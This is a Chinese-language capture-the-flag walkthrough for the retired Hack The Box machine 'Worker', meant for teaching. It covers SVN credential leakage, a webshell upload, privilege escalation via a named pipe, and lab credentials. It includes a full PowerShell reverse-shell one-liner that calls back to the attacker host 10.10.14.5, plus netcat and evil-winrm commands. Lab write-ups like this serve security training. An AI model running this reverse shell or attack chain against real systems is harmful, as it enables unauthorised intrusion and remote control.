HTB: Worker渗透测试
字数 1048 2025-08-15 21:34:08
HTB: Worker渗透测试教学文档
靶机概述
- 平台: Hack The Box (HTB) - 模拟真实环境的渗透测试平台
- 靶机名称: Worker
- 状态: 已退役
- 难度等级: 中等
- 涉及技术: SVN信息泄露、Web应用漏洞利用、Windows提权
环境准备
- 攻击机: Kali Linux
- 靶机IP: 10.129.2.29 (原IP已变更)
- 必要工具:
- nmap
- dirsearch
- svn客户端
- evil-winrm
- netcat (用于监听反弹shell)
渗透测试流程
一、信息收集
-
端口扫描
nmap -sV -A -O 10.129.2.29结果:
- 80/tcp: Microsoft IIS httpd 10.0
- 3690/tcp: svnserve (Subversion)
-
Web目录扫描
- 使用dirsearch扫描80端口
- 初始扫描未发现有用信息
-
SVN版本控制信息收集
svn checkout svn://10.129.2.29 svn diff -r 2获取关键信息:
- 用户名: nathen
- 密码: wendel98
- 网站地址: http://devops.worker.htb
-
修改hosts文件
echo "10.129.2.29 devops.worker.htb" >> /etc/hosts
二、漏洞利用
-
登录管理界面
- 使用获取的凭据(nathen:wendel98)登录devops.worker.htb
-
创建新分支并上传木马
- 在SVN中创建新分支
- 上传包含恶意代码的文件
-
反弹shell
- 在攻击机监听端口:
nc -lvnp 4242 - 触发恶意代码(需快速操作):
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
- 在攻击机监听端口:
-
获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
三、权限提升
-
获取user.txt
- 在
\svnrepos\www\conf目录发现密码文件 - 枚举获得有效凭据:
- 用户名: robisl
- 密码: wolves11
- 使用evil-winrm登录:
ruby evil-winrm.rb -i 10.129.2.29 -u robisl -p wolves11
- 在
-
提权至root
- 使用robisl账户创建命名管道修改管理员密码
- 使用新密码通过evil-winrm登录管理员账户:
ruby evil-winrm.rb -i 10.129.2.29 -u Administrator -p HTBworkerDone!
关键点总结
-
SVN信息泄露
- 检查版本控制系统(如SVN)的历史版本可能泄露敏感信息
- 使用
svn diff命令比较不同版本
-
反弹shell技巧
- Windows系统下使用PowerShell反弹shell
- 操作需快速,避免连接失效
-
横向移动
- 在配置文件中查找其他账户凭据
- 使用evil-winrm进行Windows远程管理
-
提权方法
- 通过创建命名管道修改管理员密码
- 利用现有权限执行特权操作
经验教训
- 面对陌生系统时需耐心分析各功能模块
- 反弹shell操作需熟练快速
- 配置文件是重要的信息源,应仔细检查
- Windows系统中的命名管道是常见的提权途径